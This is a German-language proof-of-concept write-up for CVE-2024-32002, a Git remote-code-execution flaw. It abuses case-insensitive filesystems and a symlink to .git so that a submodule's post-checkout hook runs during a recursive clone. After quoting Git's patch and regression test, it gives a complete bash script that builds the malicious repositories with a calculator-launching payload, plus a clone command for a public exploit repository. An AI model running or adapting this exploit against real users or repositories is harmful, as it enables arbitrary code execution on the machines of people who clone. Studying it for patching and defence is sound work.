
CVE-2024-32002 POC
Mitwirkende
Diese Schwachstelle ist eine RCE (Remote Code Execution)-Schwachstelle, die beim Klonen eines Git-Repositorys mit Submodulen auf Dateisystemen wie Windows und macOS auftritt, die die Groß-/Kleinschreibung nicht unterscheiden. RCE ist eine Schwachstelle zur Remote-Code-Ausführung, bei der ein Angreifer beliebige Befehle auf dem Zielsystem ausführen kann – eine sehr kritische Schwachstelle.
A/modules/x und a/modules/x werden als derselbe Pfad behandelt. Diese Eigenschaft wird zusammen mit symbolischen Links ausgenutzt, um die Schwachstelle auszulösen.
git config --global core.symlinks false gesetzt ist, funktioniert der Angriff nicht.Patch der Schwachstelle anzeigen
builtin/submodule--helper.cDie Funktion dir_contains_only_dotgit: Überprüft, ob ein Verzeichnis nur .git-Dateien enthält oder auch andere Verzeichnisse, und gibt einen Fehler zurück, wenn andere Dateien oder Verzeichnisse vorhanden sind.
Die Funktion clone_submodule: Überprüft vor dem Klonen, ob das Untermodulverzeichnis existiert und leer ist.
t/t7406-submodule-update.shtest_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
protocol.file.allow always wird das Dateiprotokoll von Git aktiviert.core.symlinks true erlaubt die Verwendung symbolischer Links.tell_tale_path wird verwendet, um zu überprüfen, ob die RCE ordnungsgemäß funktioniert hat.git init hook &&
(
cd hook &&
mkdir -p y/hooks &&
write_script y/hooks/post-checkout <<-EOF &&
echo HOOK-RUN >&2
echo hook-run >"$tell_tale_path"
EOF
git add y/hooks/post-checkout &&
test_tick &&
git commit -m post-checkout
) &&
post-checkout.hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
cd captain &&
git submodule add --name x/y "$hook_repo_path" A/modules/x &&
test_tick &&
git commit -m add-submodule &&
printf .git >dotgit.txt &&
git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
git update-index --index-info <index.info &&
test_tick &&
git commit -m add-symlink
) &&
captain.A/modules/x hinzu und committet.a, der auf .git zeigt.test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# optional, but I added it to avoid the warning message
git config --global init.defaultBranch main
# Define the tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize the hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF
# Make the hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define the hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize the captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
git clone --recursive captain hooked
Git verfügt über sogenannte Hooks, die automatisch Skripte ausführen, wenn bestimmte Ereignisse eintreten. Diese befinden sich im Verzeichnis .git/hooks.
post-checkout ist ein Skript, das nach einem Checkout ausgeführt wird.

Die Abfolge ist wie folgt:
git_rce wird ein symbolischer Link a erstellt, der auf .git zeigt.a/modules/x statt A/modules/x erkannt.a auf .git zeigt, wird unter .git ein /modules/x erstellt und y/hooks/post-checkout erzeugt.git_rce/.git/modules/x/y/hooks/post-checkout ausgeführt, was zur RCE führt.⚠️Warnung: Verwenden Sie diese Schwachstelle nicht böswillig!
git clone --recursive https://github.com/Roronoawjd/git_rce.gitHinweis: Unter Windows muss die Shell (cmd oder bash) mit Administratorrechten geöffnet werden.